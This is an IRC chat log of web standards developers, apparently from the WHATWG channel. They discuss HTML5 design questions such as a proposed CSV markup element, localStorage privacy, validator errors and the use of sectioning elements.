[10:00:04.0000] <mpilgrim_>
and come back when they've gone completely insane

[10:01:00.0000] <sayrer>
not that I am in favor of doing it, or plan to try to get Mozilla to do it

[10:01:01.0000] <AryehGregor>
It seems like IE is the only one to have this massive compatibility problems when it becomes more standards-compliant.

[10:02:00.0000] <annevk3>
wb sayrer

[10:02:01.0000] <Philip`>
AryehGregor: Partly because sites write one version of their code for IE6, and one version for 'standards-compliant' browsers, and send the IE6 code to IE8

[10:02:02.0000] <sayrer>
the worst thing is when you want to add API that some js library already has

[10:02:03.0000] <AryehGregor>
That's part of it.

[10:02:04.0000] <sayrer>
I broke a bunch of stuff with getElementsByClassName too

[10:02:05.0000] <AryehGregor>
Probably also because some sites are written for IE 6 only, especially on intranets.

[10:02:06.0000] <sayrer>
I keep breaking stuff

[10:03:00.0000] <Philip`>
sayrer: You should keep your hands off the internet before you bring the whole thing crashing down :-(

[10:03:01.0000] <AryehGregor>
And, more generally, probably because IE6 and 7 have such horrifyingly broken CSS support, and generally lousy standards compliance.

[10:03:02.0000] <AryehGregor>
Other browsers tended to be more correct from the get-go, so I imagine there was less pain for them when they improved.

[10:03:03.0000] <TabAtkins>
sayrer: Yeah, that does suck.  That's why I like libraries that don't try to pretend they're normal js, so there's never any collision problems.

[10:04:00.0000] <AryehGregor>
Plus, the more popular you are, the more likely people are to write hacks for you.

[10:04:01.0000] <AryehGregor>
/me glares at a usage of is_gecko in MediaWiki, one of the few remaining ones that isn't "<= versionnum"-based

[10:05:00.0000] <AryehGregor>
Although the most notable browser-sniffing breakage MediaWiki has seen to my memory was a five-year-old fix for Konqueror that ended up "fixing" (i.e., breaking) all versions of WebKit until the present, as well.

[10:05:01.0000] <AryehGregor>
So obscure browsers get broken too by sniffing.

[10:05:02.0000] <mpilgrim_>
more references for noah

[10:05:03.0000] <AryehGregor>
Even sniffing that's not of the form "I don't recognize you, drop dead".

[10:05:04.0000] <mpilgrim_>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=7392

[10:06:00.0000] <mpilgrim_>
titled "Please use some term other than "URL" for Web Addresses"

[10:06:01.0000] <mpilgrim_>
where ian explains his thinking for using the term "URL"

[10:07:00.0000] <mpilgrim_>
and http://www.w3.org/Bugs/Public/show_bug.cgi?id=7391 "Reference to WEBADDRESS should be replaced with reference to IRIbis"

[10:07:01.0000] <mpilgrim_>
which links to this feedback about IRIbis: http://lists.w3.org/Archives/Public/public-iri/2009Jul/0032.html

[10:07:02.0000] <mpilgrim_>
which explains how broken it was at the time of writing

[10:07:03.0000] <mpilgrim_>
not sure if it's improved since then

[10:08:00.0000] <mpilgrim_>
but bug 7391 is only 2 weeks old, so i'm guessing it hasn't

[10:08:01.0000] <mpilgrim_>
(improved, that is)

[10:14:00.0000] <mpilgrim_>
my bugzilla-fu is weak. i can't find the bugs where adam suggested reducing the amount of content sniffing in firefox

[10:49:00.0000] <AryehGregor>
What does error 334 mean here, "Error: Bad value http://lo.wikipedia.org/wiki/ໜ້າຫຼັກ for attribute href on element a: COMPATIBILITY_CHARACTER in PATH."?  http://validator.nu/?doc=http://www.wikipedia.org

[10:49:01.0000] <AryehGregor>
(it's really only approximately error #4 if you only count meaningfully distinct errors :P)

[10:52:00.0000] <AryehGregor>
/me guesses he'll need to look into the URL syntax in the standard

[10:56:00.0000] <Philip`>
http://en.wikipedia.org/wiki/Unicode_compatibility_characters

[10:56:01.0000] <Philip`>
(I expect)

[11:16:00.0000] <othermaciej>
I read over the TAG's tentative feedback linked here earlier

[11:17:00.0000] <othermaciej>
it looked pretty thoughtful to me, even if I don't agree with all of it

[11:17:01.0000] <takkaria>
yeah, it was generally pretty good

[11:17:02.0000] <takkaria>
I think some of the things they said just need to be thought through a little more and they'll disappear

[11:17:03.0000] <takkaria>
like quibbling over the word "few"

[11:33:00.0000] <Philip`>
hsivonen: Have I already complained about getting java.nio.BufferUnderflowException via nu.validator.htmlparser.io.HtmlInputStreamReader.read ?

[11:33:01.0000] <jlebar>
Hixie: Could you clarify for me what 7.9.6 means wrt the drag'n'drop events?  The last two sentences of 7.9.6.1 are giving me particular trouble.

[11:34:00.0000] <MikeSmith>
hsivonen: I notice that v.nu currently allows, e.g., data-A, as attribute name though spec has the constraint "contains no characters in the range U+0041 .. U+005A (LATIN CAPITAL LETTER A .. LATIN CAPITAL LETTER Z)" on the name

[11:35:00.0000] <MikeSmith>
/me goes poking through code to figure out where to patch

[11:35:01.0000] <Philip`>
MikeSmith: With the HTML parser, or the XML parser?

[11:35:02.0000] <Philip`>
(If it's HTML then the names will always be lowercase)

[11:35:03.0000] <Philip`>
(regardless of what you write in the syntax)

[11:35:04.0000] <MikeSmith>
Philip`: I checked only with the HTML parser

[11:36:00.0000] <MikeSmith>
Philip`: I see, yeah. but seems the validator should still emit an error message

[11:36:01.0000] <Philip`>
MikeSmith: You'll never get uppercase in the attribute name, then

[11:36:02.0000] <Lachy>
othermaciej, where can I find the TAG's tentative feedback?

[11:36:03.0000] <Philip`>
MikeSmith: Why? text/html is meant to be case-insensitive

[11:36:04.0000] <MikeSmith>
Philip`: I think that statement is meant to express a document-conformance requirement

[11:36:05.0000] <MikeSmith>
aka authoring conformance

[11:37:00.0000] <annevk3>
MikeSmith, no

[11:37:01.0000] <Philip`>
What section is it in?

[11:37:02.0000] <annevk3>
MikeSmith, well yes, but at the DOM-level

[11:37:03.0000] <Philip`>
MikeSmith: "Note: All attributes in HTML documents get lowercased automatically, so the restriction on uppercase letters doesn't affect such documents."

[11:38:00.0000] <MikeSmith>
ah, yeah, OK

[11:38:01.0000] <MikeSmith>
/me apologizes for the noise...

[11:38:02.0000] <Philip`>
Should be an error in XML, though

[11:38:03.0000] <Philip`>
*XHTML

[11:39:00.0000] <othermaciej>
Lachy: scanning the logs...

[11:39:01.0000] <MikeSmith>
http://www.w3.org/2001/tag/2009/09/TagHTMLIssues.html

[11:42:00.0000] <othermaciej>
there it is

[11:42:01.0000] <othermaciej>
also some subsequent discussion in the logs of this channel

[12:16:00.0000] <sayrer>
mpilgrim_: 500713

[14:14:00.0000] <AryehGregor>
Sigh, yet another Bugzilla to subscribe to.

[15:17:00.0000] <TabAtkins>
tantek: finished up the stream-based parser for <csv>.  Doesn't appear to have any bugs left in it.  Spent a while trying it out on a lot of real-world data, works very nicely.

[15:17:01.0000] <tantek>
that's awesome

[15:17:02.0000] <tantek>
did you see the IRC chats yesterday about considering <pre selector=","> instead of <csv> ?

[15:18:00.0000] <tantek>
it has nice fallback behavior

[15:18:01.0000] <tantek>
sorry

[15:18:02.0000] <tantek>
<pre separator=",">

[15:18:03.0000] <TabAtkins>
Well, identical fallback behavior to <pre><csv>

[15:18:04.0000] <tantek>
/me has CSS hardwired in the brain

[15:18:05.0000] <tantek>
with one fewer eleemnt

[15:18:06.0000] <tantek>
element even

[15:18:07.0000] <tantek>
both for authors in documents, and the spec as a whole

[15:19:00.0000] <TabAtkins>
You'll need the header attribute too to if you want to notate the first row properly as a header.

[15:19:01.0000] <TabAtkins>
I don't think that can be determined programmatically with *any* accuracy.

[15:19:02.0000] <tantek>
also an optional "header" attribute that takes two values, "absent" or "present"

[15:19:03.0000] <tantek>
right

[15:19:04.0000] <tantek>
per http://www.ietf.org/rfc/rfc4180.txt

[15:20:00.0000] <TabAtkins>
Yeah, I've got references to where I violate 4180 in my algo.  ^_^

[15:20:01.0000] <tantek>
nice

[15:20:02.0000] <TabAtkins>
Always by being more forgiving - my algo recognizes a superset of 4180-compliant CSVs.

[15:21:00.0000] <tantek>
good to know

[15:21:01.0000] <tantek>
so now I think <pre separator header>  is a better proposal than <csv separator header>

[15:21:02.0000] <tantek>
because it requires fewer additions to the language

[15:21:03.0000] <TabAtkins>
So, if people are okay with handing <pre> two attributes that work only on a particular data format, then I'm fine with it too.

[15:22:00.0000] <tantek>
I think it makes sense because a CSV is a specific kind of a PRE

[15:22:01.0000] <TabAtkins>
Or, wait.  Hrm, that's no good.  There's no way for a native *or* js treatment to recognize them as separate from any other <pre>.

[15:22:02.0000] <TabAtkins>
Not without relying on heuristics.

[15:22:03.0000] <TabAtkins>
Which, admittedly, would probably be pretty reliable.

[15:23:00.0000] <Philip`>
<pre separator> seems weird since there's nothing in the markup saying it's CSV-style data

[15:23:01.0000] <Philip`>
(except implicitly via the definition of separator)

[15:23:02.0000] <TabAtkins>
Philip`, right, that's what I was getting at.

[15:24:00.0000] <AryehGregor>
There's nothing in the markup of <style>:link { color: blue; }</style> to say it's CSS, either.  :)

[15:24:01.0000] <Philip`>
Also, changing behaviour and appearance based on an attribute seems like a bad idea, like with <input type>

[15:24:02.0000] <AryehGregor>
Or in <math>...</math> to say it's MathML.

[15:24:03.0000] <AryehGregor>
Is <input type> a bad idea?

[15:24:04.0000] <Philip`>
(particularly because of dynamic changes)

[15:24:05.0000] <TabAtkins>
AryehGregor: the *only* thing people put in <style> is CSS in practice, though.  <pre> contains lots of different stuff.

[15:25:00.0000] <AryehGregor>
TabAtkins, not <pre separator>, would be the theory.

[15:25:01.0000] <AryehGregor>
. . . I'm not sure this is useful enough to be worth adding to the spec, though.

[15:25:02.0000] <TabAtkins>
You ever tried to read a plain-text CSV on the web?  ^_^

[15:25:03.0000] <tantek>
the presence of a non-empty "separator" attribute is what semantically identifies the existence of CSV data

[15:25:04.0000] <tantek>
e.g. <pre separator=",">

[15:26:00.0000] <TabAtkins>
tantek, oh, k.  I assumed that the element would simply assume ",", and separator would just change it if present.

[15:26:01.0000] <Philip`>
TabAtkins: Import the CSV into Google Docs; you don't need special language support

[15:26:02.0000] <tantek>
no no - the attribute is not present / empty by default

[15:26:03.0000] <tantek>
and setting separator="" just makes it a normal pre

[15:26:04.0000] <karlushi>
<pre type="csv" separator=",">  ? too complicated?

[15:26:05.0000] <karlushi>
redundant

[15:27:00.0000] <tantek>
karlushi - an optional type attribute that specifies a mimetype would be ok too

[15:27:01.0000] <TabAtkins>
Philip`: Still non-trivial to do especially when the data is part of a page rather than the whole file.

[15:27:02.0000] <tantek>
<pre type="text/csv" separator=",">

[15:27:03.0000] <TabAtkins>
I can go change it to just recognize on <pre separator> real quick.

[15:27:04.0000] <tantek>
easily importing/including datasets into a page has great utility for opengov and openscience

[15:28:00.0000] <Philip`>
TabAtkins: Why would anyone embed CSV inline in a page rather than linking to it as an external file, when external files are great for importing into spreadsheets or databases or whatever else people want to use the data with?

[15:28:01.0000] <tantek>
Philip` inline CSV has a <table> compatible DOM for easy script manipulation

[15:29:00.0000] <tantek>
it's like providing a free API to any CSV

[15:29:01.0000] <tantek>
TabAtkins - great

[15:29:02.0000] <tantek>
an updated proof of concept is even better

[15:29:03.0000] <tantek>
the DTD changes to add an attribute or two are fairly trivial too

[15:30:00.0000] <Philip`>
/me 's experience with DOM manipulation of tables does not revolve around the word "easy"

[15:30:01.0000] <tantek>
Philip` - perhaps <table> DOM should be extended to support simple SQL queries on <table>s

[15:31:00.0000] <tantek>
think of a page as a database, and the <table>s as tables

[15:32:00.0000] <takkaria>
is the idea to get this in the spec?

[15:33:00.0000] <karlushi>
<object data="file.csv">

[15:33:01.0000] <karlushi>
   <p>Fallback: CSV file</p>

[15:33:02.0000] <karlushi>
</object>

[15:33:03.0000] <karlushi>
this would not help I guess. 

[15:33:04.0000] <tantek>
karlushi - right

[15:33:05.0000] <tantek>
just as <object>s for Math or SVG are insufficient

[15:34:00.0000] <tantek>
except that there is a TON (1000x, maybe more?) CSV data out there than MathML or SVG, combined.

[15:34:01.0000] <karlushi>
http://www.google.com/search?q=filetype%3Acsv

[15:35:00.0000] <karlushi>
911 000 pour filetype:csv 

[15:35:01.0000] <annevk3>
most of those hits seem spam

[15:35:02.0000] <tantek>
karlushi - I'm not sure Google is keeping up with al the open gov csvs that are being published especially in the past few months

[15:36:00.0000] <karlushi>
this is certainly a subset of the total number

[15:37:00.0000] <tantek>
I get 912,000 but close enough

[15:38:00.0000] <TabAtkins>
All right, updated code and text.  http://www.xanthir.com/etc/csv.html

[15:40:00.0000] <tantek>
TabAtkins - very cool. 

[15:40:01.0000] <tantek>
note, I think "header" should require an explicit value

[15:40:02.0000] <tantek>
(just in case of future expansion etc.)

[15:40:03.0000] <tantek>
header="present"

[15:41:00.0000] <tantek>
and it's good re-use from RFC4180 also

[15:41:01.0000] <TabAtkins>
Can't we just leave it as it is, and then in the future (if we need to specify different values) say that "header" gives you the default behavior?  That'd still allow XML to do their header="header" thing.

[15:42:00.0000] <TabAtkins>
Not that I'm opposed to giving @header actual values, I just like binary attributes.  ^_^

[15:42:01.0000] <tantek>
I prefer to avoid the potential future incompat/confusion - consider it a lesson learned :)

[15:42:02.0000] <tantek>
something I got from CSS language design - no boolean properties

[15:43:00.0000] <tantek>
which has actually helped with expanding some of them over time

[15:43:01.0000] <tantek>
also - since RFC4180 already has terminology for it - it makes sense to just literally adopt their terminology

[15:43:02.0000] <tantek>
rather than introducing another convention

[15:44:00.0000] <tantek>
header="present" rather than header="header"

[15:45:00.0000] <TabAtkins>
Done.

[15:45:01.0000] <tantek>
sweet

[15:46:00.0000] <hober>
hmm

[15:46:01.0000] <hober>
I'd like it to work like disabled, insofar as leaving ="..." off goes

[15:47:00.0000] <TabAtkins>
You mean, if it's present but has no value, it's treated as "present"?

[15:47:01.0000] <TabAtkins>
How does an attribute without a value appear in the XHTML serialization?

[15:47:02.0000] <hober>
<pre separator="," header>...</pre>

[15:47:03.0000] <hober>
(that was the html serialization)

[15:48:00.0000] <hober>
which is <pre separator="," header="header">...</pre> in xhtml

[15:48:01.0000] <hober>
for consistency with disabled="", checked="", etc., I think this makes more sense

[15:49:00.0000] <TabAtkins>
That's what I thought.  Hmm, though.  When you ask for the value of the attribute currently, it returns the empty string.

[15:49:01.0000] <hober>
(though as a rule I'm symapthetic to tantek's desire for vocab reuse)

[15:49:02.0000] <hober>
I'm just saying that I want <pre header> to work & be conformant in text/html

[15:50:00.0000] <TabAtkins>
Well, you'll still need to say <pre separator="," header> currently.

[15:50:01.0000] <hober>
right

[15:50:02.0000] <TabAtkins>
(Which I don't like, and which is why I preferred <csv>.)

[15:55:00.0000] <TabAtkins>
Done.  @header, @header="header", and @header="present" all trigger the behavior.

[16:18:00.0000] <Hixie>
http://adactio.com/journal/1605/ "Some people on IRC were wondering why my superfriends and I haven’t presented our concerns by email. Well, we will. But I think there’s a lot of value in publicly discussing this stuff (and soliciting feedback)."

[16:18:01.0000] <Hixie>
...because the whatwg list isn't a public discussion?

[16:18:02.0000] <TabAtkins>
Email isn't public?

[16:21:00.0000] <MikeSmith>
a wider public discussion, I guess

[16:21:01.0000] <MikeSmith>
not everybody who has an interest in the work is subscribed to the whatwg or a member of the working group

[16:21:02.0000] <Hixie>
wider than the 1000s of people on the whatwg list?

[16:22:00.0000] <MikeSmith>
Hixie: yeah, sure

[16:23:00.0000] <MikeSmith>
I imagine there are a lot of people who follow Zeldman's blog who aren't subscribed to the whatwg list

[16:23:01.0000] <TabAtkins>
A lot of his FB friends, frex.

[16:23:02.0000] <MikeSmith>
FB?

[16:24:00.0000] <TabAtkins>
facebook

[16:24:01.0000] <MikeSmith>
ah

[16:24:02.0000] <TabAtkins>
He's been syndicating his blog onto his FB page for a while now.

[16:25:00.0000] <Hixie>
well i'm sure glad that they're taking it on themselves to create alternative siloed communities to discuss this stuff instead of contributing to the whatwg project and extending the original community in real and pragmatic ways

[16:25:01.0000] <MikeSmith>
whatwg is not the only community with a stake in this

[16:25:02.0000] <MikeSmith>
it's arguably not even the original community

[16:26:00.0000] <MikeSmith>
as far as the HTML language goes

[16:26:01.0000] <MikeSmith>
though it is the original community where the HTML5 work started, yeah

[16:45:00.0000] <TabAtkins>
Blarg, Hixie, I *want* to be able to reduce my privacy for certain sites I trust.

[16:45:01.0000] <annevk3>
Hixie, it seems probable they do not want to subscribe to the mailing list which is usually highly technical

[16:45:02.0000] <annevk3>
Hixie, maybe we should think of ways to make it easier to get feedback from them

[16:46:00.0000] <annevk3>
(I don't have any good ideas other than keeping the blog tracking thingie alive, unfortunately.)

[16:52:00.0000] <Hixie>
TabAtkins: why can't you?

[16:53:00.0000] <Hixie>
annevk3: yeah, i dunno. we tried forums, but it didn't take off.

[16:53:01.0000] <TabAtkins>
Hixie: Because no site is going to give me the ability to trust them in that manner if I can so easily accidentally wipe out the information, and then complain to them about it.

[16:54:00.0000] <TabAtkins>
Because, as a normal user, I *will* accidentally wipe it out when clearing cookies, and I *will* complain, because I *won't* understand why my actions made the site lose data.

[16:54:01.0000] <Hixie>
TabAtkins: if your browser is going to let you "accidentally" wipe out information, then it's wrong.

[16:54:02.0000] <Hixie>
TabAtkins: you seem to be assuming a remarkably bad UA UI

[16:54:03.0000] <TabAtkins>
You said that LocalStorage *must* be wiped out with cookies.

[16:55:00.0000] <TabAtkins>
Wiping out cookies is internalized as a valid and safe troubleshooting step in anyone with even a *tiny* bit of knowledge about their computer.  This isn't something limited to techies.

[16:55:01.0000] <Hixie>
the spec does not say that.

[16:56:00.0000] <TabAtkins>
Indeed, *you* said that.

[16:56:01.0000] <Hixie>
what i say is irrelevant

[16:56:02.0000] <Hixie>
the spec is what matters

[16:56:03.0000] <Hixie>
(i'm amused that i'm the guy holding the privacy side of this debate btw, given my personal opinion that we should all wear name tags and that privacy died years ago)

[16:56:04.0000] <annevk3>
/me stores those lines for later use

[16:57:00.0000] <TabAtkins>
When everything you say is "app developers must not treat LocalStorage is important, because browsers must make it easy to blow away all the data", people are going to assume that, well, they shouldn't rely on LocalStorage then.

[16:57:01.0000] <Hixie>
the spec doesn't say that either

[16:58:00.0000] <TabAtkins>
Do you think that's necessary?  You keep defending that position.  If anyone agrees with you, we're screwed even if the spec doens't *mandate* it.

[16:59:00.0000] <Hixie>
i don't agree with that statement, no


2009-09-04
[17:00:00.0000] <TabAtkins>
Then why did you state something to that effect?

[17:02:00.0000] <Hixie>
i didn't

[17:02:01.0000] <Hixie>
my position was more subtle than that

[17:03:00.0000] <TabAtkins>
Obviously too subtle.  ^_^

[17:03:01.0000] <Hixie>
my point is that if the user clears cookies, the user agent should suggest to the user that if the goal is to prevent user tracking, that clearing the local storage, session storage, web database, flash storage, cache, and other such mechanisms is necessary to ensure the user's privacy

[17:04:00.0000] <Hixie>
how this happens is up to the ua

[17:04:01.0000] <Hixie>
whether it happens by just treating them all the same, or by having a complicated six-page explanation in a modal dialog, is up to the UI designer

[17:07:00.0000] <SamerZ>
what does the "I've read the changes!" button do?

[17:07:01.0000] <SamerZ>
on the tracker

[17:07:02.0000] <TabAtkins>
What you actually *said* was: "we have to make sure that clearing one clears the other".

[17:07:03.0000] <TabAtkins>
You did *not* say "We have to give users the option to clear both at once."

[17:08:00.0000] <Hixie>
clearing both at once automatically would be ideal, imho, yes

[17:08:01.0000] <TabAtkins>
Your words imply that it's a requirement that they are cleared together, rather than an option.

[17:08:02.0000] <Hixie>
but what _i_ want isn't relevant here

[17:08:03.0000] <Hixie>
as it's not what the spec requires

[17:08:04.0000] <TabAtkins>
Indeed.  As it is, browsers can *choose* to make LocalStorage completely ephemeral, so we can't rely on it.

[17:09:00.0000] <Hixie>
they can also "choose" to make every click result in the computer exploding, but that doesn't mean we can't use <a href="">.

[17:10:00.0000] <TabAtkins>
Sure, but no one's suggesting that behavior is vitally important for the user's privacy. ("No one can violate your privacy if the computer's blown up!")

[17:11:00.0000] <TabAtkins>
On the other hand, *you* are suggesting precisely that wrt LocalStorage.

[17:13:00.0000] <Hixie>
i also think we should drop style="" and <div>, and that we shouldn't even allow xmlns="" in text/html. So?

[17:21:00.0000] <AryehGregor>
Dropping <div> without much better CSS support would be kind of insane.

[17:21:01.0000] <AryehGregor>
Possibly even with unreasonably good CSS support.

[17:21:02.0000] <Hixie>
like i said, what i want doesn't have much relevance here :-)

[17:22:00.0000] <AryehGregor>
How would you mark up the <h1> on http://aryeh.name/ without <span>?  Maybe an <hgroup> with a few headings?

[17:23:00.0000] <AryehGregor>
With HTML 5, you can come pretty close to eliminating <div> and <span>, it's true . . . at least for fairly simple stuff.

[17:23:01.0000] <Hixie>
<span> is fine

[17:29:00.0000] <AryehGregor>
That's an interesting position.  Why is <span> fine but <div> not?  Do blocks inherently have more restricted semantics or something?

[17:30:00.0000] <Hixie>
<span> is fine if used with lang="" or dir="" or the like.

[17:30:01.0000] <Hixie>
my opinions on this aren't very logical, i should point out

[17:31:00.0000] <Hixie>
that's why the spec doesn't do what i want :-)

[17:45:00.0000] <AryehGregor>
Hixie, since when is speccing the result of invalid markup condoning it?

[17:54:00.0000] <Hixie>
AryehGregor: wasn't the request to allow it? The spec already says what the result is.

[17:55:00.0000] <AryehGregor>
Ah, okay then, never mind.

[17:55:01.0000] <AryehGregor>
I'm not an implementor, so thankfully I don't have to look at the parsing section very closely.  :)

[17:56:00.0000] <Hixie>
:-)

[17:57:00.0000] <MikeSmith>
AryehGregor: I'm looking at http://bugzilla.validator.nu/show_bug.cgi?id=640 and may have a fix for it shortly

[17:57:01.0000] <AryehGregor>
MikeSmith, nice, thanks.

[21:25:00.0000] <amstan>
hello everyone

[21:26:00.0000] <amstan>
have you guys saw this? pretty cool and valid post:

[21:26:01.0000] <amstan>
http://www.webmonkey.com/blog/This_Spec_Has_a_Posse%3A__Superfriends__Suggest_Changes_for_HTML5

[21:59:00.0000] <tantekc>
amstan - thanks for the URL

[23:01:00.0000] <MFen>
html5lib for python.. anyone in here connected to that?

[23:05:00.0000] <MFen>
how would i serialize a generic HTMLParser().parse() document instance?

[23:05:01.0000] <MFen>
HTMLSerializer apparently only works on this treebuilder thing which i don't want

[23:06:00.0000] <MFen>
and can i not just use it to parse xml? it seems to wrap an html document around everything

[23:15:00.0000] <MFen>
never mind. all it does is reproduce the broken api of some other thing

[23:15:01.0000] <MFen>
do i want no namespace support, no unicode support, or random_broken_stuff? i have the power to choose.

[00:08:00.0000] <othermaciej>
hi everyone

[01:09:00.0000] <hsivonen>
cursed Unicode normalizations! apparently I wont be able to nuke files on a Linux server over NFS from Mac OS X when the file names differ in NFC and NFD!

[01:13:00.0000] <hsivonen>
I wonder whose bright idea it was to make Mac OS X use something other than NFC for file names

[01:13:01.0000] <Dashiva>
Think different

[01:15:00.0000] <hsivonen>
Apple is violating the first rule of Unicode normalization

[01:15:01.0000] <hsivonen>
(always use NFC when you write to disk or to a socket)

[01:18:00.0000] <jgraham>
Something something, fight club reference, something

[01:26:00.0000] <Dashiva>
hsivonen: When do you use NFD?

[01:28:00.0000] <hsivonen>
Dashiva: when Mac OS X stringifies a file name, it converts it to an approximation of NFD

[01:29:00.0000] <hsivonen>
Dashiva: IIRC, it's NFD except NFC for Hangul

[01:29:01.0000] <hsivonen>
Dashiva: Apple just made stuff up there. it's not exactly NFD!

[01:29:02.0000] <Dashiva>
No, I mean, when should you use NFD?

[01:30:00.0000] <hsivonen>
Dashiva: in RAM when doing diacritic-insensitive searches

[01:30:01.0000] <Dashiva>
Oh, okay

[01:46:00.0000] <hsivonen>
AryehGregor: thanks for fixing the Wikipedia article on XHTML

[02:35:00.0000] <zcorpan_>
AryehGregor: send feedback about = in unquoted attributes

[02:36:00.0000] <zcorpan_>
AryehGregor: it's only disallowed to catch this authoring error: <p class= title=hello>

[02:37:00.0000] <zcorpan_>
AryehGregor: there are no compat issues with it

[02:38:00.0000] <zcorpan_>
AryehGregor: also see http://code.google.com/p/html5lib/issues/detail?id=92

[02:39:00.0000] <zcorpan_>
AryehGregor: and http://code.google.com/p/html5lib/issues/detail?id=93

[03:08:00.0000] <zcorpan_>
/me witnesses another real-world case of <article><header></header><section>...</section><footer></footer></article>

[03:08:01.0000] <zcorpan_>
and headings in the page <footer>

[03:13:00.0000] <zcorpan_>
actually maybe we should drop <section> and rely on implied sections

[03:13:01.0000] <zcorpan_>
it would still do the right thing when you put content in <article> or <blockquote>

[03:14:00.0000] <zcorpan_>
people are clearly overusing sectioning elements in general and clutter the outline

[03:15:00.0000] <Hixie>
i think to some extent it's overcompensation

[03:15:01.0000] <Lachy>
maybe we make <section> without a <header>, <hgroup> or <h1> to <h6> invalid?

[03:15:02.0000] <Hixie>
we should just get out there with a bunch of articles talking about <article> and using a <div> for the main content

[03:15:03.0000] <Lachy>
Hixie, I'm in the process of writing an article about that

[03:15:04.0000] <zcorpan_>
Hixie: i really don't think evang will fix this problem

[03:16:00.0000] <zcorpan_>
Hixie: it's a problem with the spec; people are using the new elements the way they think they should be used, and the result is bad

[03:16:01.0000] <Hixie>
lachy: making a <section> without header invalid would break all kinds of use cases

[03:16:02.0000] <Hixie>
Lachy: cool, i look forward to it

[03:17:00.0000] <Lachy>
I really don't get how people are reaching incorrect conclusions about how they're meant to be used, since the structure was based on how people frequently used <div><h3>...</h3><p>...</div>

[03:17:01.0000] <Hixie>
zcorpan_: evang is what introduced this problem, i don't know why it wouldn't solve it

[03:17:02.0000] <Lachy>
what are the use cases for section without it's own heading? I've been struggling to think of any

[03:17:03.0000] <zcorpan_>
Hixie: what evang introduced this problem?

[03:17:04.0000] <Hixie>
open any random blog, there's all kinds of bits of the page that are sections without headings

[03:18:00.0000] <Hixie>
zcorpan_: "html5 has <article>!"

[03:19:00.0000] <Lachy>
so it seems that people aren't realising that both <article> is just a special class of <section>, and struggling to realise how to use both together properly

[03:19:01.0000] <Lachy>
s/that both/that/

[03:19:02.0000] <zcorpan_>
maybe it should be <section type=article>

[03:19:03.0000] <Lachy>
that might work

[03:20:00.0000] <Lachy>
but makes styling in IE even harder without attribute selectors

[03:20:01.0000] <Hixie>
how hard can this be, really

[03:20:02.0000] <Hixie>
maybe i should rename <article> to <blogpost>

[03:20:03.0000] <Lachy>
Hixie, I didn't think it was hard

[03:20:04.0000] <Lachy>
I don't think renaming it would help

[03:20:05.0000] <Lachy>
since it's a structural problem, not a semantic problem

[03:20:06.0000] <zcorpan_>
Hixie: in this case, it was used for blog posts correctly

[03:20:07.0000] <zcorpan_>
Hixie: it's just <section> inside that's incorrectly used

[03:21:00.0000] <Hixie>
oh, then why <section type="">?

[03:21:01.0000] <zcorpan_>
Hixie: i.e. he wanted a <main> element

[03:21:02.0000] <Hixie>
i never thought we'd manage to wean people off <div> so fast

[03:21:03.0000] <Hixie>
i'm getting whiplash

[03:22:00.0000] <zcorpan_>
because <section type=article><h2/><section><p> *looks* wrong whereas <article><h2/><section><p> doesn't

[03:22:01.0000] <zcorpan_>
people don't realize <article> is a type of <section>

[03:22:02.0000] <zcorpan_>
<section type=article> would make it clearer

[03:22:03.0000] <Hixie>
that isn't the confusion

[03:22:04.0000] <Hixie>
if it was they'd be doing <article><section><h2/><p>...

[03:23:00.0000] <Hixie>
but they're putting the header in the article

[03:23:01.0000] <Hixie>
and then just putting the contents in a section

[03:23:02.0000] <Hixie>
it _has_ to be for styling, surely

[03:23:03.0000] <Hixie>
no?

[03:24:00.0000] <zcorpan_>
no

[03:24:01.0000] <zcorpan_>
it's not styled in any way

[03:24:02.0000] <zcorpan_>
no selector in the style sheet is based on the section

[03:24:03.0000] <zcorpan_>
it's just that they think it's the right thing to do

[03:25:00.0000] <annevk2>
funny, I think we should drop <article>

[03:25:01.0000] <Hixie>
i wish i understood how authors were coming to this conclusion

[03:25:02.0000] <Hixie>
is there some documentation somewhere that they're all following?

[03:25:03.0000] <jgraham>
I wonder what the "many use cases" are for untitled sections. Like how to they translate to UA features?

[03:25:04.0000] <Hixie>
is this problem really widespread?

[03:25:05.0000] <Hixie>
someone should study a random sample of sites from html5gallery

[03:26:00.0000] <zcorpan_>
Hixie: i've seen it several times with people trying to use html5

[03:26:01.0000] <Hixie>
anecdotal evidence is often misleading

[03:26:02.0000] <Hixie>
i think we need hard data on this

[03:26:03.0000] <jgraham>
BTW I already tried the evangalism thing. Whilst the WHATWG blog might not be the best pulpit you might have thought it would reach early adopters

[03:26:04.0000] <jgraham>
AT least indirectly

[03:27:00.0000] <Lachy>
html5doctor and ALA seem to be among the best places to reach early adopters

[03:27:01.0000] <zcorpan_>
html5doctor did the exact same mistake

[03:27:02.0000] <Lachy>
I'm planning to get my sectioning article published on either or both of those places

[03:28:00.0000] <Lachy>
zcorpan_, yeah, I know. I suspect that might be where develoeprs are learning it from

[03:28:01.0000] <zcorpan_>
this guy sais he sees the structure of <article> the same as <table>

[03:28:02.0000] <Lachy>
which guy?

[03:29:00.0000] <zcorpan_>
a friend

[03:29:01.0000] <jgraham>
I think part of the fix has to be making UAs robust to failure. That means ignoring untitled sections when calculating nesting depth

[03:30:00.0000] <Lachy>
the question is, do they want the structure to be like a table, or is that just how he perceives it was designed?

[03:30:01.0000] <zcorpan_>
he says that since he framed the content in a <header> part and a <footer> part, it felt natural to frame the content part in some element too

[03:30:02.0000] <zcorpan_>
author of http://www.frojd.se/

[03:30:03.0000] <Hixie>
sigh maybe we should just give people a meaningless <content> element

[03:31:00.0000] <annevk2>
s/article/main/ plus the appropriate changes to its semantics

[03:31:01.0000] <jgraham>
Hixie: I think that is a good idea. 

[03:31:02.0000] <Hixie>
or heck, maybe the simplest solution is just to special-case a heading-less section in the outline as a direct child of another section

[03:31:03.0000] <Hixie>
that actually might be the better solution

[03:31:04.0000] <Hixie>
since if we introduce another element, it's bound to get misused even more

[03:32:00.0000] <zcorpan_>
makes sense

[03:32:01.0000] <jgraham>
I think there is a balance in the design process between things that are designed to transmit semantics and things that make authoring easy

[03:32:02.0000] <jgraham>
<content> would make authoring easier

[03:33:00.0000] <jgraham>
/me doesn't like the idea os special cases

[03:33:01.0000] <Hixie>
well it wouldn't make it any easier than an ignored <section>, right?

[03:33:02.0000] <Hixie>
how do we get people to use <content> instead of <section>?

[03:33:03.0000] <annevk2>
content { ... } section { ... }

[03:34:00.0000] <zcorpan_>
we say <content> is the elemetn to use between <header> and <footer>

[03:34:01.0000] <jgraham>
